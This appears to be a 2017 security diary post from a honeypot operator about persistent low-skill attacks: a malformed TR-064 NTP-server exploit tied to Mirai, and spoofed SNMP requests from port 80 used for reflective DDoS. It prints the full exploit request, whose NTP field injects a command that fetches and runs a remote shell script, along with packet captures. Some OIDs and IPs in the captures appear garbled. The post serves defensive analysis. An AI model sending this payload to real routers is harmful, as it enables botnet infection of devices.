Last Updated: 2017-01-27 19:08:38 UTC
by Johannes Ullrich (Version: 1)
Sometimes, it isn't the new and sophisticated attacks that keep your honeypots (and with that: you) busy, but things that make you go "that works?". Looking over my honeypot today, I had a couple experiences like this. First of all, the old "TR-064 NTP Server" exploit that beca me big news when the Mirai botnet adopted it. Since then, most of the servers that hosted the follow-up code no longer deliver. But this doesn't prevent thousands of existing bots to persistently attempt the exploit. In addition, it appears that some of the less skilled but persistent attackers (the "Not so Advanced Persistent Threat") have picked up on the exploit, and try to make it work for themselves. Since they are at the lower end of the exploit food-chain, they do get even a simple exploit like TR-064 wrong. Or, and sadly that is possible as well, web servers running on these device s actually consider these requests valid:
POST /UD/act?1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;> <NewNTPServer1>`cd /tmp && /bin/busybox wget http://220.127.116.11:80/bin.sh -O - > bin.sh && sh bin.sh`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNT PServer
4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>
The problem with this code is that there is no empty line between headers and body, which makes the request fail. Apache responds to this with a 400 error. Over the last 6 hours, I got about 40,000 requests from around 1,000 different IPsacrosss different honeypots.
Another attack that doesn't go away is SNMP attacks from port 80. These are kind of "background trickle" that you will see if you look at your firewall logs a bit more careful. And hopefully, they will show up in your firewall as blocked or dropped. The typically I believe these requests to be spoofed and used as part of a reflective DDoS attack. Most SNMP requests not originating from port 80 do come from researchers. (University Bochum seems to be doing a survey, and of course, Shodan).
A typical SNMP request would be:
13:41:06.216683 IP 18.104.22.168.80 > a.b.c.d.161: GetBulk(42) N=0 M=10 .22.214.171.124.126.96.36.199 .188.8.131.52.184.108.40.206.1.3
This request will solicit a description of the system in return, which of course can be somewhat large. In my case, it is 993 bytes:
13:41:06.217446 IP a.b.c.d.161 > 220.127.116.11.80: GetResponse(993) .18.104.22.168.22.214.171.124.0="Linux myhost 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64" .126.96.36.199.188.8.131.52.1.3.1="The MIB for Message Processing and Dispatching." .184.108.40.206.220.127.116.11.0=
.18.104.22.168.4.1.8072.3.2.10 .22.214.171.124.126.96.36.199.1.3.2="The management information definitions for the SNMP User-based Security Model." .188.8.131.52.184.108.40.206.0=17457385 .220.127.116.11.18.104.22.168.1.3.3="The SNMP Management Architecture MIB." .22.214.171.124.126.96.36.199.0="Me <firstname.lastname@example.org>" .188.8.131.52
.184.108.40.206.1.3.4="The MIB module for SNMPv2 entities" .220.127.116.11.18.104.22.168.0="flyinghorse" .22.214.171.124.126.96.36.199.1.3.5="View-based Access Control Model for SNMP." .188.8.131.52.184.108.40.206.0="Sitting on the Dock of the Bay" .220.127.116.11.18.104.22.168.1.3.6="The MIB module for managing TCP
implementations" .22.214.171.124.126.96.36.199.0=72 .188.8.131.52.184.108.40.206.1.3.7="The MIB module for managing IP and ICMP implementations" .220.127.116.11.18.104.22.168.0=16 .22.214.171.124.126.96.36.199.1.3.8="The MIB module for managing UDP implementations" .188.8.131.52.184.108.40.206.1.2.1=.220.127.116.11.18.104.22.168.1.1 .22.214.171.124.126.96.36.199.1.3
.9="The MIB modules for managing SNMP Notification, plus filtering." .188.8.131.52.184.108.40.206.1.2.2=.220.127.116.11.18.104.22.168.1.1 .22.214.171.124.126.96.36.199.1.3.10="The MIB module for logging SNMP Notifications."
The source of the request was a Comcast IP. It isn't clear to me if it was spoofed and if there is something worth DDoSing at that IP, or if this is someone scanning for possible reflectors.